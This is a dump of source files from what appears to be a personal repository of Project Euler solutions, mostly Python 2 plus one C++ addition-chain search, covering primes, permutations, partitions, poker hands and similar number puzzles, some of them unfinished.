if (div2 % 2 != 0): continue # print div2 div3 = int("".join(map(str,list(p[2:5])))) if (div3 % 3 != 0): continue div5 = int("".join(map(str,list(p[3:6])))) if (div5 % 5 != 0): continue div7 = int("".join(map(str,list(p[4:7])))) if (div7 % 7 != 0): continue div11 = int("".join(map(str,list(p[5:8])))) if (div11 % 11 != 0): continue div13 = int("".join(map(str,list(p[6:9])))) if (div13 % 13 != 0): continue div17 = int("".join(map(str,list(p[7:10])))) if (div17 % 17 != 0): continue print 'passed', num csum = csum + num print csum <file_sep>/id24/id24.py #!/usr/bin/env python # s = '0123' # nums = [int(x) for x in str] # for i in xrange() def fact(f): return reduce(lambda x,y: x*y, range(1,f+1), 1) n = 999999 nCh = 10 rem = n s = [int(x) for x in '0123456789'] ns = [] for i in xrange(1,nCh+1): f = fact(nCh-i); div = rem / f rem = rem % f ns.append(s[div]) s.pop(div) print nCh-i, div, rem print reduce(lambda x,y: x+y, [str(c) for c in ns], '')<file_sep>/id25/id25.py #!/usr/bin/env python import math import decimal import sympy # s = '0123' # nums = [int(x) for x in str] # for i in xrange() def fast_fib(x): psi = (1 + math.sqrt(5)) / 2 return (decimal.getcontext().power(decimal.Decimal(psi), x) / decimal.Decimal(math.sqrt(5)) + decimal.Decimal(0.5)) log_F_wanted = 999 psi = (1 + math.sqrt(5)) / 2 n = (math.log10(math.sqrt(5)) + log_F_wanted) / math.log10(psi) print (math.log10(math.sqrt(5)) + log_F_wanted) / math.log10(psi) print fast_fib(int(math.ceil(n)))<file_sep>/id92/id92.py #!/usr/bin/env python def sum_sq_digits(n): return sum(map(lambda x: int(x)**2, list(str(n)))) lim = 10 ** 7 eightynines = [False]*(1+lim) eightynines[89] = True ones = [False]*(1+lim) ones[1] = True for x in range(1, 1 + lim): if eightynines[x] or ones[x]: continue l = [x] while True: if eightynines[x]: for y in l: eightynines[y] = True break elif ones[x]: for y in l: ones[y] = True break else: x = sum_sq_digits(x) l.append(x) print sum([1 for x in eightynines if x]) <file_sep>/id34/id34.py #!/usr/bin/env python import math i = 0 while (i < 1e8): i = i + 1 num = i d_prev = num % 10 c = math.factorial(d_prev) while (num / 10 != 0): num = num / 10 d_prev = num % 10 c = c + math.factorial(d_prev) if (c == i): print '\n!!!:',c else: print "\r",i,"", <file_sep>/id76/id76.py #!/usr/bin/env python import sys # turns out this is sequence A000065 (-1 + partitions of n) def partition_function(n,known={}): if (n == 0): known[n] = 1 return 1 if (n < 0): return 0 s = 0 for k in range(1,n+1): leftn = n - (k*(3*k-1))/2 rightn = n - (k*(3*k+1))/2 if leftn in known: left = known[leftn] else: left = partition_function(leftn, known) if rightn in known: right = known[rightn] else: right = partition_function(rightn, known) s += ((-1)**(k+1) * (left + right)) if n not in known: known[n] = s return s def howtomake(n, known=None): if (known is not None and n in known): return known[n] s = set() for i in range(1, 1+n/2): tup = (i, n-i) f = howtomake(n-i, known) for t in f: s.add(tuple(sorted([i] + list(t)))) s.add(tup) if (known is not None): known[n] = s return s if (len(sys.argv) == 1): q = 100 else: q = int(sys.argv[1]) # m = howtomake(q, {}) # sums = map(lambda t: reduce(lambda x,y: x+y,t,0), list(m)) # bsums = [not (s == q) for s in sums] # if any(bsums): # print 'Error in sum!' # print len(m) def numwaystomake(val, possible, known=None): if (val == 0): return 1 if (val < 0 or (not possible and val > 0)): return 0 s = numwaystomake(val, possible[:-1]) + numwaystomake(val - possible[-1], possible) return s # dont include 'q + 0' print partition_function(q)-1 #print numwaystomake(q, range(1, q)) <file_sep>/id55/id55.py #!/usr/bin/env python def ispalindrome(n): s = str(n) return (s[::-1] == s) def reversenum(n): r = 0 while n > 0: r = r * 10 + n % 10 n = n / 10 return r def islychrel(n, depth=0, known=None): if (depth == 50): if (known is not None): known[n] = True return True if (known is not None and n in known): return known[n] nextn = n + reversenum(n) if (ispalindrome(nextn)): if (known is not None): known[n] = False return False else: return islychrel(nextn, depth+1, known) lychrel = filter(islychrel, range(0,10001)) print lychrel, len(lychrel) <file_sep>/id50/id50.py #!/usr/bin/env python import math def isprime(n): if (n == 0 or n == 1): return False if (n == 2): return True d = 2 while d*d <= n: if (n % d) == 0: return False d += 1 return True def printf(x): print x maxsearch = 1000000 try: with open('primes.txt') as f: primes = map(int, f) print primes[0], primes[-1] except: primes = [x for x in range(0,maxsearch+1) if isprime(x)] map(printf, primes) primes = filter(lambda p: p < maxsearch, primes) def findit(plist, m): ijdiff = len(plist)-1 si = sum(plist) # filter out sequences where the smallest sum is too large while (si > m): si = si - plist[ijdiff] ijdiff -= 1 si += plist[ijdiff] while True: si = si - plist[ijdiff] s = si for i in range(0,len(plist)-ijdiff): j = i + ijdiff # print i,j s = s + plist[j] - plist[i] if (s < m): if (s in plist): print i,j,s return s ijdiff -= 1 print ijdiff return None findit(primes, maxsearch) <file_sep>/id19/id19.py #!/usr/bin/env python import datetime c = 0 for yy in xrange(1901,2001): for mm in xrange(1,13): d = datetime.date(yy,mm,1) if d.weekday() == 6: c += 1 print d print c<file_sep>/id22/id22.py #!/usr/bin/env python import string def score(str, smap): s = 0 for c in str: s += smap[c] return s def make_scoremap(): uc = string.ascii_uppercase scoremap = {} for i in xrange(0, len(uc)): scoremap[uc[i]] = (i + 1) return scoremap with open('names.txt', 'r') as file: smap = make_scoremap() namelist = [] for line in file: for name in line.replace('"', '').split(','): namelist.append(name) namelist.sort() total = 0 for i in xrange(0, len(namelist)): total += (i + 1)*score(namelist[i], smap) print total<file_sep>/id107/id107.py #!/usr/bin/env python import csv with open('./p107_network.txt', 'r') as f: reader = csv.reader(f) graph = [] for line in reader: adj_list = [] for i,tok in enumerate(line): if (tok == '-'): print 'ignore' else: adj_list.append((i, int(tok))) graph.append(adj_list) print graph node_states = [0] * len(graph) node_weights = [10000000000000000] * len(graph) s = set([0]) msw = 0 while len(s) != len(graph): mw = 1000000000000 mi = 0 for current in s: for i, w in graph[current]: if w < mw and i not in s: mi = i mw = w s.add(mi) msw += mw ow = 0 for i, li in enumerate(graph): for j, w in li: if i < j: ow += w print s, msw, ow, ow - msw <file_sep>/id1/id1.py #!/usr/bin/env python import math def sequence_sum(start, n_terms, increment): return n_terms*start + increment*(n_terms)*(n_terms+1)/2 n = 999 print sequence_sum(0, math.floor(n/3), 3) + sequence_sum(0, math.floor(n/5), 5) - sequence_sum(0, math.floor(n/15), 15) <file_sep>/id60/id60.py.old #!/usr/bin/env python import math import itertools import sys # set([(13, 5197, 5701, 6733, 8389)]) answer given # from http://stackoverflow.com/questions/2068372/fastest-way-to-list-all-primes-below-n-in-python def sundaram3(max_n): numbers = range(3, max_n+1, 2) half = (max_n)//2 initial = 4 for step in xrange(3, max_n+1, 2): for i in xrange(initial, half, step): numbers[i-1] = 0 initial += 2*(step+1) if initial > half: return [2] + filter(None, numbers) def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) def prime_factors(n, plist): a = n f = [] while a not in plist: for p in plist: if a % p == 0: a = a / p f.append(p) break f.append(a) return f def is_prime(n): if n == 2 or n == 3: return True if n < 2 or n%2 == 0: return False if n < 9: return True if n%3 == 0: return False r = int(n**0.5) f = 5 while f <= r: # print '\t',f if n%f == 0: return False if n%(f+2) == 0: return False f +=6 return True #aq = [aliquot(x) for x in xrange(0,1000001)] #prime = [x for x in xrange(0,len(aq)) if aq[x] == 1] prime = sundaram3(int(1e3)) filtered_primes = [p for p in prime if (p != 2 and p != 5)] maxprime = filtered_primes[-1] print 'done making prime list' #candidates = [] #for i in range (1, 5): # print 'pass', i # for p in itertools.combinations(filtered_primes, 5): # pflag = True # # print p # for anytwo in itertools.combinations(p, 2): # st = map(str, list(anytwo)) # # print st # if is_prime(int("".join(st))) == False: # pflag = False # break # if is_prime(int("".join(st[::-1]))) == False: # pflag = False # break # if pflag: # print p candidates = map(lambda x: [x], filtered_primes) for i in range (1, 5): new_candidates = set([]) print 'pass', i num_total = len(candidates) for j,el in enumerate(candidates): for p in filtered_primes: pflag = True # print p for lel in el: st = map(str, [lel, p]) # print st if is_prime(int("".join(st))) == False: pflag = False break if is_prime(int("".join(st[::-1]))) == False: pflag = False break if pflag: nl = list(el) nl.append(p) # print nl new_candidates.add(tuple(sorted(nl))) print ("\r%d/%d" % (j, num_total)), sys.stdout.flush() if (i == 1): pairwise = {} for c in new_candidates: c = map(str, list(c)) if (c[0] not in pairwise): pairwise[c[0]] = set(c[1]) else: pairwise[c[0]].add(c[1]) if (c[1] not in pairwise): pairwise[c[1]] = set(c[0]) else: pairwise[c[1]].add(c[0]) candidates = new_candidates print '\n', candidates <file_sep>/id47/id47.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) def prime_factors(n, plist): a = n f = [] while a not in plist: for p in plist: if a % p == 0: a = a / p f.append(p) break f.append(a) return f def prime_factors_no_list(n): lim = int(math.floor(math.sqrt(n))) s = 0 pf = [] for i in xrange(2,lim+1): while n % i == 0: pf.append(i) n = n / i if n != 1: pf.append(n) return pf search = 1000000 #aq = [aliquot(x) for x in range(0,search+1)] #prime = [x for x in range(0,len(aq)) if aq[x] == 1] run = 0 wantrun = 4 for n in range(100000, search+1, wantrun): # p = prime_factors(n, prime) p = prime_factors_no_list(n) if len(set(p)) == wantrun: print 'Has 4 distinct prime factors: ', n, p run = 1 s = 1 # while (len(set(prime_factors(n-s, prime))) == wantrun): while (len(set(prime_factors_no_list(n-s))) == wantrun): run += 1 s += 1 i = 1 # while (len(set(prime_factors(n+i, prime))) == wantrun): while (len(set(prime_factors_no_list(n+i))) == wantrun): run += 1 i += 1 if (run >= wantrun): print 'First number:', n-s+1 break else: run = 0 <file_sep>/id31/id31.py.old #!/usr/bin/env python # def make_tree(t, wanted, vlist): # if wanted == 0: # return # next = [v for v in vlist if (wanted - v) >= 0] # if (next == []): # return # t['leaves'] = [] # for i, v in enumerate(next): # t['leaves'].append({'value':v, 'leaves':None}) # make_tree(t['leaves'][i], wanted - v, vlist) # return # def flatten(t): # if t['leaves'] == None: # return [[t['value']]] # ft = [] # for i, tl in enumerate(t['leaves']): # for lv in flatten(tl): # ft.append([t['value']] + lv) # return ft # t = {'value':0, 'leaves':None} # vlist = [1,2,5,10,20,50,100,200] # make_tree(t, 20, vlist) # print t # s = set([]) # for l in flatten(t): # l.sort() # s.add(tuple(l)) # print len(s) # for el in s: # print el # def combo(wanted, vlist): # if len(vlist) == 1: # return [[wanted / vlist[0]]] # # print wanted, vlist # b = best_change(wanted, vlist) # l = [b] # for i,v in enumerate(b): # if v != 0 and i != 0: # # print v, vlist[:i], b[i:], i # for j in xrange(1,v+1): # for r in combo(vlist[i]*j, vlist[:i]): # s = r + b[i:] # s[i] -= j; # l.append(s) # return l # # # def elim(c, vlist, i): # # # if (c[i] == 0): # # # return [list(c)] # # # l = [] # # # for j in xrange(0,c[i]): # # # b = best_change(vlist[i]*(j+1), vlist[:i]) # # # l.append(list(c)) # # # # print b, j # # # l[j][i] -= (j+1) # # # for k,bv in enumerate(b): # # # l[j][k] += bv # # # return l # # # def elim_r(c, vlist, i): # # # ls = elim(c,vlist,i) # # # q = [] # # # for cl in ls: # # # q.append(cl) # # # s = list(cl) # # # s.reverse() # # # for i,sv in enumerate(s): # # # if sv != 0: # # # e = len(cl)-i-1 # # # if e == i: # # # continue # # # elif e != 0: # # # rl = elim_r(cl,vlist,e) # # # for elem in rl: # # # q.append(elem) # # # break # # # return q # # # def combo(wanted, vlist): # # # if len(vlist) == 1: # # # return [[wanted / vlist[0]]] # # # # print wanted, vlist # # # b = best_change(wanted, vlist) # # # s = list(b) # # # s.reverse() # # # l = [] # # # for i,sv in enumerate(s): # # # if sv != 0: # # # e = len(b)-i-1 # # # for li in elim(b, vlist, e): # # # print vlist[i] # # # return l # # # def best_change(wanted, vlist): # # # a = wanted # # # b = (len(vlist))*[0] # # # while a != 0: # # # for i,v in enumerate(sorted(vlist, reverse=True)): # # # if v <= a: # # # a -= v; # # # b[len(vlist)-i-1] += 1 # # # break # # # return b # # # # vlist = [1,2,5,10,20,50,100,200] # # # vlist = [1,5,10,25,50,100] # # # c = elim_r([0,0,0,1], [1,5,10,25], 3) # # # for x in c: # # # print x # # # print len(c) #def inc(cc, dec_idx, inc_idx, vlist): # c = list(cc) # if c[dec_idx] >= vlist[inc_idx]: # c[inc_idx] += 1 # c[dec_idx] -= vlist[inc_idx] # return c # else: # return [] #def inc_r(cc, dec_idx, inc_idx, vlist): # #vlist = [1,2,5,10,20,50,100,200] #v_start = [200,0,0,0,0,0,0,0] #c = v_start #while (c) != []: # c = inc(c, 0, 1, vlist) # print c s = set() def print_combo_lines_r(clist, vlist, want, prepend): if (want == 0): print prepend s.add(prepend) return if (want < 0): return for i,v in enumerate(vlist): prepend[i] = prepend[i] + 1 print_combo_lines_r(clist, vlist, want - v, prepend) prepend[i] = prepend[i] - 1 return def print_combo_lines(clist, vlist, want): print_combo_lines_r(clist, vlist, want, [0,0,0,0,0,0]) return clist = ['p', 'n', 'd', 'q', 'h', '$'] vlist = [1,5,10,25,50,100] print_combo_lines(clist, vlist, 25) print s <file_sep>/id45/id45.py #!/usr/bin/env python import math def is_square(apositiveint): if (apositiveint == 1): return True x = apositiveint // 2 seen = set([x]) while x * x != apositiveint: x = (x + (apositiveint // x)) // 2 if x in seen: return False seen.add(x) return True def t(n): return (n * (n + 1) / 2) def p(n): return (n * (3 * n - 1) / 2) def h(n): return (n * (2 * n - 1)) hn_start = 143 i = hn_start while True: i = i + 1 tmp = 24 * h(i) + 1 if is_square(tmp) == False: continue if (math.sqrt(tmp) % 6 != 5): continue print h(i), 2*i - 1, int((math.sqrt(tmp) + 1) / 6), i break <file_sep>/id460/id460.py #!/usr/bin/env python import math import sys #def monotonically_increasing_sequence(maxval, npoints, seqnum): # seq = [0]*npoints # seq[0] = 1 # r_maxval = maxval # for i in range(1,npoints): # if (maxval <= 0): # seq[i] = seq[i-1] # continue # seq[i] = (seqnum % maxval) + seq[i-1] # seqnum = seqnum / maxval # maxval = r_maxval - seq[i] # return seq def vel(y0, y1): if (y0 == y1): return y0 return (y1 - y0)/(math.log(y1) - math.log(y0)) def dist(y0, y1): return math.sqrt((y1 - y0) ** 2 + 1) def travel_time(y0, y1): if (y0 == y1): return (1 / y0); return (math.sqrt((y1 - y0) ** 2 + 1) * (math.log(y1) - math.log(y0)) / (y1 - y0)) def sym_trapz_time_odd(y1, N): t = 2*travel_time(y1, 1) t += ((N - 2) / float(y1)) return t def calc_path_time(path_ys): t = 0 for i,y in enumerate(path_ys): if (i > 0): t += (dist(path_ys[i-1], y) / vel(path_ys[i-1], y)) return t def calc_path_time_ga(path_ys): t = 0 for i,y in enumerate(path_ys): if (i > 0): t += (dist(path_ys[i-1] + 1, y + 1) / vel(path_ys[i-1] + 1, y + 1)) return t def sym_path_time_odd(sym_path_ys): t = 2 * calc_path_time(sym_path_ys) t += 2 / sym_path_ys[-1] return t def sym_path_time_odd_ga(sym_path_ys): sym_path_ys = list(sym_path_ys) sym_path_ys.insert(0, 0) check = [x >= 0 for x in sym_path_ys] if (all(check) != True): return 1000000 t = 2 * calc_path_time_ga(sym_path_ys) t += 1 / (sym_path_ys[-1] + 1) return t N = int(sys.argv[1]) #for i in range(0, 100): # print monotonically_increasing_sequence(10, 10, i) ##path = [N/2]*(N/2) ##idx = 1 ##for i in range(0, int(math.floor(math.log(N, 2)))): ## path[i] = idx; ## idx += N / (2 << (i + 1)) ##time = sym_path_time_odd(path) ##print path, time ###times = map(lambda x: sym_trapz_time_odd(x, N), range(1, int(math.ceil(N * math.log(N))))) ###min_idx = times.index(min(times)) ###print min_idx ###print times[min_idx] #mintime = 0 #prev_y = 1 #y_stored = [] #for i in range(0,N/2): # y_off = range(0,N - prev_y) # y_trial = [y + prev_y for y in y_off] # dist_trial = map(math.sqrt, map(lambda x: (x ** 2 + 1), y_off)) # vel_trial = map(lambda ynew: vel(prev_y, ynew), y_trial) # time_trial = map(lambda idx: dist_trial[idx] / vel_trial[idx], y_off) # min_idx = time_trial.index(min(time_trial)) # y_stored.append(y_trial[min_idx]) # mintime += time_trial[min_idx] # prev_y = y_trial[min_idx] #print 2*mintime import random from deap import base from deap import creator from deap import tools creator.create("FitnessMax", base.Fitness, weights=(-1.0,)) creator.create("Individual", list, fitness=creator.FitnessMax) toolbox = base.Toolbox() # Attribute generator toolbox.register("attr_bool", random.randint, 0, int(math.ceil(N * math.log(N)))) # Structure initializers toolbox.register("individual", tools.initRepeat, creator.Individual, toolbox.attr_bool, (N/2)) toolbox.register("population", tools.initRepeat, list, toolbox.individual) def evalOneMax(individual): return sym_path_time_odd_ga(individual), # Operator registering toolbox.register("evaluate", evalOneMax) toolbox.register("mate", tools.cxTwoPoint) toolbox.register("mutate", tools.mutFlipBit, indpb=0.05) toolbox.register("select", tools.selTournament, tournsize=3) def main(): # random.seed(64) pop = toolbox.population(n=3000) CXPB, MUTPB, NGEN = 0.5, 0.2, 100 print("Start of evolution") # Evaluate the entire population fitnesses = list(map(toolbox.evaluate, pop)) for ind, fit in zip(pop, fitnesses): ind.fitness.values = fit print(" Evaluated %i individuals" % len(pop)) # Begin the evolution for g in range(NGEN): print("-- Generation %i --" % g) # Select the next generation individuals offspring = toolbox.select(pop, len(pop)) # Clone the selected individuals offspring = list(map(toolbox.clone, offspring)) # Apply crossover and mutation on the offspring for child1, child2 in zip(offspring[::2], offspring[1::2]): if random.random() < CXPB: toolbox.mate(child1, child2) del child1.fitness.values del child2.fitness.values for mutant in offspring: if random.random() < MUTPB: toolbox.mutate(mutant) del mutant.fitness.values # Evaluate the individuals with an invalid fitness invalid_ind = [ind for ind in offspring if not ind.fitness.valid] fitnesses = map(toolbox.evaluate, invalid_ind) for ind, fit in zip(invalid_ind, fitnesses): ind.fitness.values = fit print(" Evaluated %i individuals" % len(invalid_ind)) # The population is entirely replaced by the offspring pop[:] = offspring # Gather all the fitnesses in one list and print the stats fits = [ind.fitness.values[0] for ind in pop] length = len(pop) mean = sum(fits) / length sum2 = sum(x*x for x in fits) std = abs(sum2 / length - mean**2)**0.5 print(" Min %s" % min(fits)) print(" Max %s" % max(fits)) print(" Avg %s" % mean) print(" Std %s" % std) print("-- End of (successful) evolution --") best_ind = tools.selBest(pop, 1)[0] print("Best individual is %s, %s" % ([0] + best_ind, best_ind.fitness.values)) # print sym_path_time_odd_ga([1,1]) if __name__ == "__main__": main() <file_sep>/id79/id79.py #!/usr/bin/env python import itertools def verifysequence(seq, fmls): for fml in fmls: try: a = seq.index(fml[0]) b = seq.index(fml[1], a) c = seq.index(fml[2], b) except: return False return True def verifyseq2(seqlist, fmls): for fml in fmls: d = 0 for i in range(0, len(seqlist)): if (fml[d] in seqlist[i]): d += 1 if (d < 3): return False return True def possibleseqs(f, fm, m, ml, l, places): seqs = [] if places < 5: yield [] for i in range (0, len(f) * len(fm) * len(ml) * len (l) * (len(m) ** (places - 4))): fi, fmi, mli, li = ( i % len(f), (i / len(f)) % len(fm), ) with open('p079_keylog.txt') as f: attempts = list(set(map(int, f))) print sorted(attempts) first = map(lambda s: s/100, attempts) middle = map(lambda s: ((s/10) % 10), attempts) last = map(lambda s: s % 10, attempts) digits = sorted(list(set(first+middle+last))) print sorted(list(set(first))), sorted(list(set(last))) print digits f = list(set(first)) fm = list(set(first + middle)) m = digits ml = list(set(middle + last)) l = list(set(last)) fml = zip(first, middle, last) for places in range(len(digits), 1+10*len(digits)): for s in itertools.combinations_with_replacement(digits, places): for seq in itertools.permutations(s): if (verifysequence(list(seq), fml)): print 'Possible:', list(seq) exit(0) # else: # print '!', seq <file_sep>/id54/id54.py #!/usr/bin/env python def convert_string(cardstring): v = cardstring[0] s = cardstring[1] if (v == 'T'): v = 10 elif (v == 'J'): v = 11 elif (v == 'Q'): v = 12 elif (v == 'K'): v = 13 elif (v == 'A'): v = 14 else: v = int(v) return (v, s) def get_suit(card): return card[1] def get_value(card): return card[0] def royal_flush(hand): first = hand[0] s = map(lambda card: get_suit(first) == get_suit(card), hand) v = sorted(map(lambda card: get_value(card), hand)) if all(s): for x in range(0,5): if (v[x] != 10+x): return False return True return False def straight_flush(hand): first = hand[0] s = map(lambda card: get_suit(first) == get_suit(card), hand) v = sorted(map(lambda card: get_value(card), hand)) if (all(s)): for x in range(0,5): if (v[x] != v[0]+x): return False return True return False with open('poker.txt') as f: hands = zip(*map(lambda row: map(convert_string, row.split(' ')), f)) player1hands = zip(hands[0], hands[1], hands[2], hands[3], hands[4]) player2hands = zip(hands[5], hands[6], hands[7], hands[8], hands[9]) for round in range(0, len(player1hands)): p1 = player1hands[round] p2 = player2hands[round] print royal_flush(p1), royal_flush(p2) <file_sep>/id357/id357.py #!/usr/bin/env python import math from random import randrange small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31] # etc. def isprime(n): if (n == 0 or n == 1): return False if (n == 2): return True if (n == 3): return True if (n % 6 != 1 and n % 6 != 5): return False d = 2 while d*d <= n: if (n % d) == 0: return False d += 1 return True def divsiors(n): s = int(math.sqrt(n)) d = [] for i in range(1, s+1): if n % i == 0: d.append(i) d.append(n / i) return d def need_to_check(n): s = int(math.sqrt(n)) d = [] for i in range(1, s+1): if n % i == 0: d.append(i + (n / i)) return d def check_all_sum_divisors_prime(n, k = 100): s = int(math.sqrt(n)) d = [] for i in range(1, s+1): if n % i == 0: if not probably_prime(i + (n / i), k): return False return True def probably_prime(n, k): """Return True if n passes k rounds of the Miller-Rabin primality test (and is probably prime). Return False if n is proved to be composite. """ if n < 2: return False for p in small_primes: if n < p * p: return True if n % p == 0: return False r, s = 0, n - 1 while s % 2 == 0: r += 1 s //= 2 for _ in range(k): a = randrange(2, n - 1) x = pow(a, s, n) if x == 1 or x == n - 1: continue for _ in range(r - 1): x = pow(x, 2, n) if x == n - 1: break else: return False return True upto = 100000000 s = 0 for i in range(1, upto + 1): if not probably_prime(i + 1, 10): continue if not probably_prime(2 + i / 2, 10): continue print i # l = need_to_check(i) # if all(map(lambda p: probably_prime(p, 100), l)): if check_all_sum_divisors_prime(i): s += i print s <file_sep>/id56/id56.py #!/usr/bin/env python m = 100 dsum = 0 for a in range(1, 1+m): for b in range(1, 1+m): ds = sum(map(int, list(str(a ** b)))) if (ds > dsum): dsum = ds print a, b print dsum <file_sep>/id37/id37.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) def left(x): if (x == 0): return True return ((aliquot(x) == 1) and left(x / 10)) def right(x): if (x == 0): return True power = 10 ** int(math.floor(math.log10(x))) firstdigit = x / power return ((aliquot(x) == 1) and right(x - firstdigit * power)) largest = 1000000 aq = [aliquot(x) for x in range(11, 1+largest)] aa,pr = zip(*filter(lambda tup: tup[0] == 1, zip(aq, range(11, 1+largest)))) prime = [1] prime.extend(list(pr)) print 'prime:', prime trunc_primes = [] for p in prime: if (left(p) and right(p)): trunc_primes.append(p) print p if len(trunc_primes) == 11: print 'Sum:', sum(trunc_primes) break <file_sep>/id122/main.cpp #include <iostream> #include <iomanip> #include <vector> #include <string> #include <queue> #include <stack> #include <algorithm> enum class ChainOperation { InputInput_StoreInput, InputInput_StoreOutput, InputOutput_StoreInput, InputOutput_StoreOutput, OutputOutput_StoreInput, OutputOutput_StoreOutput }; std::ostream &operator<<(std::ostream &os, ChainOperation op) { switch (op) { case ChainOperation::InputInput_StoreInput: os << "x = x.x"; break; case ChainOperation::InputInput_StoreOutput: os << "Y = x.x"; break; case ChainOperation::InputOutput_StoreInput: os << "x = x.Y"; break; case ChainOperation::InputOutput_StoreOutput: os << "Y = x.Y"; break; case ChainOperation::OutputOutput_StoreInput: os << "x = Y.Y"; break; case ChainOperation::OutputOutput_StoreOutput: os << "Y = Y.Y"; break; } return os; } class Chain { private: int input_; int output_; std::vector<ChainOperation> operations_; inline void advance(int new_input, int new_output) { input_ = new_input; output_ = new_output; return; } public: Chain() { input_ = 1; output_ = 1; } int getCurrentOutput() const { return output_; } int getCurrentInput() const { return input_; } void advance(ChainOperation op) { operations_.push_back(op); const int in = input_; const int out = output_; switch(op) { case ChainOperation::InputInput_StoreInput: advance(2 * in, out); break; case ChainOperation::InputInput_StoreOutput: advance(in, 2 * in); break; case ChainOperation::InputOutput_StoreInput: advance(in + out, out); break; case ChainOperation::InputOutput_StoreOutput: advance(in, in + out); break; case ChainOperation::OutputOutput_StoreInput: advance(2 * out, out); break; case ChainOperation::OutputOutput_StoreOutput: advance(in, 2 * out); break; } } size_t getChainLength() const { return operations_.size(); } std::vector<ChainOperation> getOperations() const { return operations_; } }; int main(int argc, char **argv) { if (argc != 2) { std::cout << argv[0] << ": wanted-exponent\n"; return 0; } int want_exponent = std::stoi(std::string(argv[1])); std::stack<Chain> queue; queue.push(Chain()); int binary_exponentiation_count = -1; int log2w = -1; std::string s; for (int j = want_exponent; j != 0; j >>= 1) { s += std::to_string(j & 1); binary_exponentiation_count += (j & 1); binary_exponentiation_count++; log2w++; } binary_exponentiation_count--; std::reverse(s.begin(), s.end()); std::cout << "Exponent: " << want_exponent << " " << s << "b\n"; int best = binary_exponentiation_count; while (!queue.empty()) { // Chain top = queue.front(); Chain top = queue.top(); queue.pop(); // std::cout << top.getCurrentOutput() << " " << top.getChainLength() << "\n"; if (top.getChainLength() <= static_cast<std::size_t>(best)) { if (top.getCurrentOutput() == want_exponent) { std::vector<ChainOperation> v = top.getOperations(); best = top.getChainLength(); for (auto op : v) { std::cout << op << " "; } std::cout << " x = x**" << std::setw(4) << std::left << top.getCurrentInput() << " Y = x**" << top.getCurrentOutput() << "\n"; } else { const int in = top.getCurrentInput(); const int out = top.getCurrentOutput(); const int max = (in > out)?(in):(out); if (max >= want_exponent) { continue; } // how many squarings would it take int log2m = -1; { unsigned int b = max; while (b >>= 1) { log2m++; } } const int steps = (log2w - log2m); const int totalSteps = top.getChainLength() + steps - 1; if (totalSteps <= best) { Chain ii_i = Chain(top); ii_i.advance(ChainOperation::InputInput_StoreInput); Chain ii_o = Chain(top); ii_o.advance(ChainOperation::InputInput_StoreOutput); Chain io_i = Chain(top); io_i.advance(ChainOperation::InputOutput_StoreInput); Chain io_o = Chain(top); io_o.advance(ChainOperation::InputOutput_StoreOutput); Chain oo_i = Chain(top); oo_i.advance(ChainOperation::OutputOutput_StoreInput); Chain oo_o = Chain(top); oo_o.advance(ChainOperation::OutputOutput_StoreOutput); if (ii_i.getCurrentInput() != in || ii_i.getCurrentOutput() != out) { queue.push(ii_i); } if (io_i.getCurrentInput() != in || io_i.getCurrentOutput() != out) { queue.push(io_i); } if (oo_i.getCurrentInput() != in || oo_i.getCurrentOutput() != out) { queue.push(oo_i); } if (ii_o.getCurrentInput() != in || ii_o.getCurrentOutput() != out) { queue.push(ii_o); } if (io_o.getCurrentInput() != in || io_o.getCurrentOutput() != out) { queue.push(io_o); } if (oo_o.getCurrentInput() != in || oo_o.getCurrentOutput() != out) { queue.push(oo_o); } } } } } std::cout << "Best length is " << best << ", binary exponentiation is " << binary_exponentiation_count << " for exponent " << want_exponent << ".\n"; std::cout << best << '\n'; return 0; } <file_sep>/id125/id125.py #!/usr/bin/env python from math import sqrt lim = 10 ** 8 sqrtlim = int(sqrt(lim)) sqrs = map(lambda x: x ** 2, range(1,sqrtlim+1)) def ispalindrome(n): return (str(n) == str(n)[::-1]) i = 0 ss = set([]) while i < len(sqrs): j = i+1 while j < len(sqrs): j += 1 s = sum(sqrs[i:j]) if (s >= lim): break if (ispalindrome(s)): ss.add(s) i += 1 print sum(ss) <file_sep>/id112/id112.py #!/usr/bin/env python def is_increasing_num(n): ld = n % 10 while n > 0: d = n % 10 if (d > ld): return False ld = d n /= 10 return True def is_decreasing_num(n): ld = n % 10 while n > 0: d = n % 10 if (d < ld): return False ld = d n /= 10 return True m = 10 ** 8 bouncy = 0 for n in xrange(1, 1+m): if not is_increasing_num(n) and not is_decreasing_num(n): bouncy += 1 if (bouncy * 100) / n >= 99: print bouncy, n break print bouncy, n-bouncy, n <file_sep>/id204/id204.py #!/usr/bin/env python from itertools import combinations from math import log lim = 100 def isprime(n): if (n == 0 or n == 1): return False if (n == 2): return True d = 2 while d*d <= n: if (n % d) == 0: return False d += 1 return True primes = filter(isprime, range(0,1+lim)) logprimes = map(log, primes) print primes print logprimes ulim = 10 ** 9 logulim = log(ulim) def num_hamming(llp, lu): if (lu < 0): return 0 if (len(llp) == 0): return 1 c = 0 c += num_hamming(llp, lu-llp[-1]) + num_hamming(llp[:-1], lu) return c print num_hamming(logprimes, logulim) <file_sep>/id68/id68.py #!/usr/bin/env python # -*- coding: utf-8 -*- """ Created on Mon Jan 20 14:16:43 2014 @author: sdunatunga """ import itertools # threegon = range(1,7) fivegon = range(1,11) # perms = itertools.permutations(threegon) perms = itertools.permutations(fivegon) s = set([]) for p in perms: # g = [[p[0], p[1], p[2]]] # g.append([p[3], p[2], p[4]]) # g.append([p[5], p[4], p[1]]) #only want 16 digit -> 10 in positions 0,3,5,7,9 only tenidx = p.index(10) valididx = [0,3,5,7,9] if (tenidx not in valididx): continue g = [[p[0], p[1], p[2]]] g.append([p[3], p[2], p[4]]) g.append([p[5], p[4], p[6]]) g.append([p[7], p[6], p[8]]) g.append([p[9], p[8], p[1]]) gsum = map(sum, g) sumsame = map(lambda x: x == gsum[0], gsum) if all(sumsame): # print gsum[0], ":", g minel = g[0][0] minelidx = 0 for idx, el in enumerate(g): if (el[0] < minel): minel = el[0] minelidx = idx gprime = [] for i in range(0, len(g)): gprime.append(g[(i + minelidx) % len(g)]) chain = 